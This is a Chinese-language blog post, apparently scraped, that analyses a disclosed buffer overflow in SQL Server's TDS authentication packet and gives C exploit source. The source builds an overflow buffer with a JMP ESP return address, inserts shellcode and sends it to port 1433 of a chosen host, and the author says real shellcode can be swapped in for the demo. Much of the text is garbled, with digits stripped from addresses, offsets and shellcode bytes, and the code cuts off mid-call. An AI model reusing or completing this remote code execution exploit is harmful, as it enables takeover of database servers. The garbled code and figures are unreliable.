这几天开始用汇编看sql server的代码发现SQL SERVER的 TDS协议中X号命令(请求验证)存在一个溢出问题在传送最后的MSSQLSERVER后面跟上个以上的字节会导致溢出心里一喜但吸取上次教训一查发现月这个漏洞已经被公告哎
但是一看公告代码只指出溢出但是未实现溢出仔细一看要实现这个溢出还是很麻烦的涉及到很多问题
下面是汇编代码分析
前面接受信息的大致流程
请求
text:DE call sub_E
text:ED call dword ptr [eax+h]
调用ssnetlib的获取异步socket到来的信息
CFF:连接并接收信息
text:ED add esp h
处理数据
cfe处调用下个返回地址应该是cfa溢出就是要覆盖这个返回地址
溢出产生在:cfcf处的strcpy上
但是其中问题存在于strcpy拷贝的地址离cfa的地址有个字节其中存在很多其他变量的指针如果随便覆盖掉的话在这个子过程中会继续引用他们那么就引起访问违例直接被异常给捕获了而无法达到执行代码的目的而其其过程是一个循环执行过程会导致很复杂的计算
涉及到的需要继续引用覆盖地址值的代码有
text:CFD mov edx [ebp+var_]
text:CFDC add edx
text:CFDF mov [ebp+var_] edx
text:CF mov edx [ebp+arg_]
text:CF add edx [ebp+var_]
text:CF xor eax eax
text:CFB mov al [edx]
text:CFD mov [ebp+var_] eax
text:CF mov ecx [ebp+arg_]
text:CF mov [ebp+var_] ecx
text:CF mov edx [ebp+arg_]
text:CF mov eax [ebp+var_]
text:CFF mov ecx [eax]
可以发现以上值主要是涉及到
要覆盖地址
要覆盖地址+
要覆盖地址+
要覆盖地址+C
要覆盖地址+
要覆盖地址+
这几个地址上而且主要是写操作
并且要覆盖地址会和要覆盖地址+会进行一次加操作其操作的地址范围也应该为可读写
因此很容易想到用SQL SERVER固定分配的某个数据区的地址取带该区就不会引起异常了而要覆盖地址最好为xffffffff左右的值其他地址加上这个值也在一个数据区范围以内问题就不大要覆盖地址+要覆盖地址+要覆盖地址+C要覆盖地址+要覆盖地址+的值要仔细选取因为JMP ESP跳回来以后正好在从要覆盖地址+处开始执行需要其汇编代码不能引起异常和跳转到其他地方去否则就无法执行我们真正能实现的shellcode了
另外就是如果shellcode全部放在要覆盖地址+后执行也有问题其中可能在同一个过程中会用到其中的值因此把shellcode最好放在前面在覆盖地址+后用少量的代码跳转回去避免大量覆盖引起异常
另外就是jmp esp代码的选择其实不同服务器版本地址不同但是我想在SQL SERVER代码本身中找更好只要存在一个ffe数字就可不管是不是真的jmp esp代码这样shellcode可以更简单也更通用一些仔细一看sql server中还真有这个组合位置在BCDC处OK那么主要问题就搞定了
我的环境是sql server +sp+最新的补掉sql server udp漏洞的q几几的
下面是演示代码其中没有实现真正的shellcode而是实现了打印了一行sql hack demo并且当掉了SQL SERVER服务器其实只要把其中代码置换成shellcode就可以了当然需要考虑大小问题如果放在后面可以不考虑大小但是可能会引起一些异常我没仔细调试放在前面许可的长度大概有多字节左右做SHELLCODE也应该足够了
大家在cmd下运行sqlsvrer可以看到打印出的sql hack demo字符并且SQL 当掉如果是服务或管理工具启动则无法打印sql hack demo但SQL会当掉注意此处当掉不是因为异常而是执行了shellcode的exit导致的
#include
#include #include #include #include #include int main(int argc char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
unsigned char buf[+]={
xxxxb
xcxcxxff
xxdxxxxcxxxxxxx};
unsigned char buf[]={};
char exploit_code[]= \x\xc\x\xb\xc\x\xff\x\xf\xe\xcf\x
\x\xc\x\xff\x\x\xe\xcf\x;
//这个是打印sql hack demo并退出sql server的shellcode代码
int i;
int len;
const int SNDBUF = ;
const int TCPNODELAY = TRUE;
const int BROADCAST = TRUE;
int fo=; //需要覆盖的返回地址偏移处
if (argc<2)
{
return FALSE;
}
for(i=0x34;i<584;i++)
buf0[i]=0x90;
//示范打印的字符串
buf0[0x34+0x10]=''s'';
buf0[0x34+0x11]=''q'';
buf0[0x34+0x12]=''l'';
buf0[0x34+0x13]='' '';
buf0[0x34+0x14]=''h'';
buf0[0x34+0x15]=''a'';
buf0[0x34+0x16]=''c'';
buf0[0x34+0x17]=''k'';
buf0[0x34+0x18]='' '';
buf0[0x34+0x19]=''d'';
buf0[0x34+0x1a]=''e'';
buf0[0x34+0x1b]=''m'';
buf0[0x34+0x1c]=''o'';
buf0[0x34+0x1d]=''\n'';
//防止数据改动引起异常而退出而无法实现有效溢出,因此进行有效修改
buf0[fo-0x8]=0xff;
buf0[fo-0x7]=0xff;
buf0[fo-0x6]=0xff;
buf0[fo-0x5]=0xff;
//42D01CFC 为SQL SERVER固定的数据区域,且其汇编代码不引起问题
buf0[fo+4]=0xfc;
buf0[fo+5]=0x1c;
buf0[fo+6]=0xd0;
buf0[fo+7]=0x42;
//42d01c72 为固定的数据区域才能可写
buf0[fo+8]=0x64;
buf0[fo+9]=0x0d;
buf0[fo+0xa]=0xd0;
buf0[fo+0xb]=0x42;
//42D01CFC 为固定的数据区域才能可写
buf0[fo+0xc]=0xfc;
buf0[fo+0xd]=0x1c;
buf0[fo+0xe]=0xd0;
buf0[fo+0xf]=0x42;
//42d01c72 为固定的数据区域才能可写
buf0[fo+0x10]=0x64;
buf0[fo+0x11]=0x0d;
buf0[fo+0x12]=0xd0;
buf0[fo+0x13]=0x42;
//42d01c72 为固定的数据区域才能可写
buf0[fo+0x14]=0x64;
buf0[fo+0x15]=0x0d;
buf0[fo+0x16]=0xd0;
buf0[fo+0x17]=0x42;
//在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。tw.winGwit.COm
//然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了
//写入跳回去的代码buf0[fo+0xc]=0x42;
buf0[fo+0x18]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x19]=0x83;
buf0[fo+0x1a]=0xc4;
buf0[fo+0x1b]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x1C]=0x83;
buf0[fo+0x1D]=0xc4;
buf0[fo+0x1E]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x1f]=0x83;
buf0[fo+0x20]=0xc4;
buf0[fo+0x21]=0x81;
//JMP ESP
buf0[fo+0x22]=0xff;
buf0[fo+0x23]=0xe4;
//以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去
//不直接放在后面的原因在于:覆盖了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的
memcpy(buf0+fo-8-364,exploit_code,21);
//拷贝SHELLCODE
//FFE4=JMP ESP
//设置溢出地址的值,42B0C9DC是SQL SERVER本身代码有的FFE4地方
buf0[fo]=0xDC;
buf0[fo+1]=0xC9;
buf0[fo+2]=0xB0;
buf0[fo+3]=0x42;
//需要找到JMP ESP的代码,然而这个是随版本变化的,所以干脆在SQL SERVER程序中找,只要组合成这个就可
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return FALSE;
}
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return FALSE;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1433);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
buf0[1]=1;
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return FALSE;
}
if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return FALSE;
}
len=recv(so